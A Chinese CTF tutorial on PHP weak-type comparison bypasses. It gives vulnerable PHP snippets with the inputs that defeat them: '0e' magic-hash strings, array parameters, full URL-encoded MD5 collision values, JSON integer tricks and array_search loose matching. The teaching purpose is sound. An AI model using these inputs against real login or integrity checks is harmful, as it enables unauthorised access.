CTF_Web:php弱类型绕过与md5碰撞

0x00 前言

md5碰撞只是一种掌握php弱类型的方式,弱类型的内容有很多,数组、字符串比较等等,但不论以哪种方式考,涉及的知识点都是相通的,希望通过对基础知识的分享与大家一同学习进步。

0x01 什么是md5

“MD5,即消息摘要算法(英语:MD5 Message-Digest Algorithm)。是一种被广泛使用的密码散列函数,将数据(如一段文字)运算变为另一固定长度值,是散列算法的基础原理,可以产生出一个128位(16字节)的散列值(hash value),用于确保信息传输完整一致。

显然128位不足以把世界上所有消息的摘要毫不重复的计算出来,当然现在16字节(128位)、32字节(256位)的md5也都有,选择位数多的方式可以在一定程度上减少硬碰撞(collision)的可能性。

在php语言中调用中md5的使用方式为:

<?php
$str = "hello world!";
echo "str_md5-->",md5($str),"<br/>"; //为字符串计算摘要值
$files = "02.php";
echo "file_md5-->",md5_file($files);//为文件计算摘要值
?>

得到默认32字节的密文。


由于php中的md5默认返回32字节的结果,所以要得到16字节的需要使用字符串截取。

<?php
$str = "hello world!";
echo "32byte-->",md5($str),"<br/>"; //为字符串计算摘要值
$md5Str = substr(md5($str),8,16);//获取16字节的摘要值
echo "16byte-->",$md5Str;
?>

这是因为32字节的字符串中间8-24字节与16字节加密的结果是相同的,所以在php中我们可以通过这一方式来获得16字节的摘要值。


0x02 什么是php弱类型

php是一门弱类型的语言,它不会严格检验变量类型,变量可以不显示地声明其类型,而是在运行期间直接赋值。

在php中比较是否相等有两种符号:=====
其中==在比较时会将不同类型的变量或值转换为相同类型再进行比较。
===则直接比较类型是否相同,如果同类型,再比较值。
那么php弱类型这里的“弱”,指的不是某个类型有什么问题,而是整个php语言中某些函数在处理赋值、字符串比较、变量比较的过程中对类型似乎并不关心,弱化了类型带来的影响,在使用某个变量时不需要我们定义变量的类型,而是根据内容判断这是什么类型,从而导致了各种漏洞的发生。
例如:

<?php
var_dump("a"==0);  //true
var_dump("1a"==1); //true
var_dump("a1"==1); //false
var_dump("a1"==0); //true
var_dump("0e123456"=="0e234567"); //true
var_dump(0=="1a"); //false
?> 

其结果为:

bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false) 

上述判断输出的原因是,在php中当一个字符串被当作一个数值来取值时,如果该字符串没有包含'.','e','E',并且其数值值在整形的范围之内时,该字符串被当作int来取值,其他所有情况下都被作为float来取值,而该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
所以在上面的情况中,1a转换为1a1转换为0,而"0e123456"=="0e234567"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等。

0x03 md5==绕过(0e比较)

<?php
$flag = 'ook!';
$a = $_GET['a'];
if ($a != 'QNKCDZO' && md5($a) == md5('QNKCDZO')) {
    echo $flag;
}else{
echo('你的答案不对0.0');
}

上面这段代码中就是上述0e开头的所有字串都被认为是0,所以我们先看看md5('QNKCDZO')的结果是0e830400451993494058024219903391,那么所有0e开头的md5串都可以满足上面的条件。
常用的有:

QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904

包含了纯数字、纯字母、数字字母组合三种类型的结果,在没有条件限制的情况下,无论使用哪一个都可以成功绕过。在上面的代码中使用?a=240610708,即可打印flag值。

0x04 md5===绕过(数组比较)

在php中的hash函数md5、sha1等处理中若传入一个数组的值,则会报错返回NULL,而返回的值在类型和内容上都是相同的,所以可以用来绕过某些两边参数可控的场景,上面只能控制一边的值传入,所以数组类型不适用。

<?php
$flag = "ook!";
$a = $_GET['a'];
$b = $_GET['b'];
if ($a != $b && md5($a) === md5($b)) //这里==也可以使用数组绕过。
    echo $flag;
?>

上述的例子中传入?a[]=a&b[]=b即可满足既不相等,md5后又相等的条件,虽然报错,但仍然输出了正确的值。

Warning: md5() expects parameter 1 to be string, array given in 1.php on line 5
Warning: md5() expects parameter 1 to be string, array given in 1.php on line 5
ook!

0x05 md5===绕过(硬碰撞)

前面我们也提到了md5无论是32位还是16位,都不可能不重复的表示所有信息,这种重复的例子就称为 硬碰撞 ,有如下代码:

<?php
$s1 = $_GET['a'];
$s2 = $_GET['b'];
$s3 = $_GET['c'];
echo md5($s1),"<br/>";
echo md5($s2),"<br/>";
echo md5($s3),"<br/>";
?>

当传入的值为

?a=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab
&b=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
&c=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab

三个返回相同的md5值,可以通过其有限计算的特性绕过特定的条件。

ea8b4156874b91a4ef00c5ca3e4a4a34
ea8b4156874b91a4ef00c5ca3e4a4a34
ea8b4156874b91a4ef00c5ca3e4a4a34

0x06 json解码绕过

php在处理传入的json串时使用json_decode将其解码,再进行比较时,我们不需要知道比较字串的内容,也可以利用字符串与0比较为真的特点绕过。

<?php
$flag = 'ook!';
$a = $_GET['a'];
$b = json_decode($a);
echo $b->abc;
var_dump($b->abc == $flag);
if ($b->abc == $flag)
    echo $flag;
else
    echo "error!!";
?>

当传入?a={"abc":0}时,分别输出

0
bool(true) 
ook!

注意这里的{"abc":0},0是数字,而加双引号{"abc":"0"}之后两边都是字符,就不相等了。

0x07 array_search 绕过

原理都是类型转换的问题,函数的原型为:
mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )
其中$needle,$haystack必需,$strict可选 函数判断$haystack中的值是存在$needle,存在则返回该值的键值(数组的下标,例如该值在第一位返回0,第二位返回1),第三个参数默认为false,如果设置为true则会进行严格过滤(带类型的比较)。

<?php
$a = array(0,1,2,3);
var_dump(array_search("a",$a));
var_dump(array_search("1a",$a));
var_dump(array_search("2a",$a));
var_dump(array_search("1a",$a,true));
?>

其结果为:

int(0) 
int(1)
int(2)
bool(false) 

0x08 小结

从上面我们可以看出,所有绕过的形式都是基于弱类型的比较,或值对于不合规参数类型的错误处理,数组与字符串、字符串与整数等等情形,我们不能保证每个用户都乖乖输入我们想要的值,因此在php中限定用户输入的类型和值就显得尤为重要。

这里感谢 Mrsm1th 师傅的分享,自己动手接受知识会更快。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 211,123评论 6 490
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,031评论 2 384
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 156,723评论 0 345
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,357评论 1 283
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,412评论 5 384
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,760评论 1 289
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,904评论 3 405
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,672评论 0 266
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,118评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,456评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,599评论 1 340
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,264评论 4 328
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,857评论 3 312
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,731评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,956评论 1 264
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,286评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,465评论 2 348

推荐阅读更多精彩内容